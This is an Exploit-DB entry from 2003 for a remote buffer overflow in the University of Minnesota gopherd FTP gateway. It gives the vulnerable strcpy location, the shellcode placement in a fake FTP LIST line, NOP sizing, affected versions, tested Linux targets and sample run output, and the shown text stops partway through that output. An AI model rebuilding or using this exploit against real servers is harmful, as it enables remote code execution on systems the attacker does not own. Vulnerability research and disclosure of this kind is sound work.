Exploit-DB #22893
Description: University of Minnesota Gopherd 2.0.x/2.3/3.0.x - FTP Gateway Buffer Overflow
Type: remote
Platform: linux
Date: 2003-07-11
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/8167/info

It has been reported that the FTP gateway component within the gopherd server is prone to a buffer overflow vulnerability. This vulnerability may be present due to a failure to perform bounds checking when processing long filenames returned from the FTP LIST command. This could permit code execution in the context of the software.


/*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
 *                                                                   *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)         *
 *                                                                   *
 * three years since last audit, code is a little more secure.  but, *
 * still found a few potentially exploitable situations.  this       *
 * exploits the "ftp gateway" feature of gopherd.  the gateway is    *
 * intended to act as a proxy of sorts.  between the server, and the *
 * client.  the bug occurs when gopherd attempts to read a ftp       *
 * list(LIST), and strcpy()'s the filename without checking the      *
 * length.  an example would look like this(including where to put   *
 * the shellcode at):                                                *
 *                                                                   *
 * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"      *
 *                                                                   *
 * to exploit this, there needs to be a fake ftp daemon of sorts.    *
 * and, do to the nature of gopherd's "ftp gateway" support, must be *
 * on port 21.  which means this exploit needs to run as root.       *
 *                                                                   *
 * when exploiting this bug, it is made moderately easy by gopherd.  *
 * because, the buffer that holds the string is 8192 bytes, and on   *
 * the stack.  meaning the amount of NOPs used can be around ~7500.  *
 *                                                                   *
 * requirements(general):                                            *
 *  gopherd must have "ftp gateway" support included on compile,     *
 *  this is true by default.  but, the "--disable-ftp" configure     *
 *  option will make exploitation of this bug impossible.            *
 *                                                                   *
 * requirements(for this exploit):                                   *
 *  the server must be running linux/x86(what i made the exploit     *
 *  for).  gopherd must be started in the root directory "/",        *
 *  running with the -c command line option, or started as non-root. *
 *  any of those three situations will allow for successful          *
 *  exploitation.  this does not mean it is impossible to exploit    *
 *  otherwise.  but, gopherd will be in a chroot()'d state.  and, as *
 *  of the 2.4 kernel series, i have seen no such way to break       *
 *  chroot.  if it is desired to still run code, even in a limited   *
 *  environment, simply change the shellcode to your likings.  also, *
 *  the exploit must be ran as root, to bind to port 21.             *
 *                                                                   *
 * bug location(gopher-3.0.5/gopherd/ftp.c):                         *
 *  1800:int                                                         *
 *  1801:GopherFile(FTP *ftp, char *buf, char *theName)              *
 *  1802:{                                                           *
 *  ...                                                              *
 *  1805:char tmpName[256];                                          *
 *  ...                                                              *
 *  1811:strcpy(tmpName, buf);                                       *
 *                                                                   *
 * vulnerable versions:                                              *
 *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              *
 *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            *
 *  (it is assumed versions before 2.3.1 are vulnerable as well)     *
 *                                                                   *
 * tested on platforms(with no code changes/offsets):                *
 *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686           *
 *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
 *  (tested on both v3.0.5, and v2.3.1 sources / no changes.  this   *
 *  should apply to pretty much any generic linux, do to the amount  *
 *  of NOPs(~7500 bytes guessing room), and on the stack)            *
 *                                                                   *
 * example usage:                                                    *
 *  # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        *
 *  # ./xgopherd2k3-ftp localhost 127.0.0.1                          *
 *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    *
 *  [*] "UMN gopherd remote ftp gateway buffer overflow"             *
 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)             *
 *                                                                   *
 *  [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
 *                                                                   *
 *  [*] starting ftp daemon. (background)                            *
 *  [*] attempting to connect: localhost:70.                         *
 *  [*] connected successfully: localhost:70.                        *
 *  [?] +GOPHERD: "ftp://x:x@127.0.0.1".                             *
 *  [*] ftp daemon connection established.                           *
 *  [?] -FTPD: "SYST".                                               *
 *  [?] -FTPD: "USER x".                                             *
 *  [?] -FTPD: "PASS x".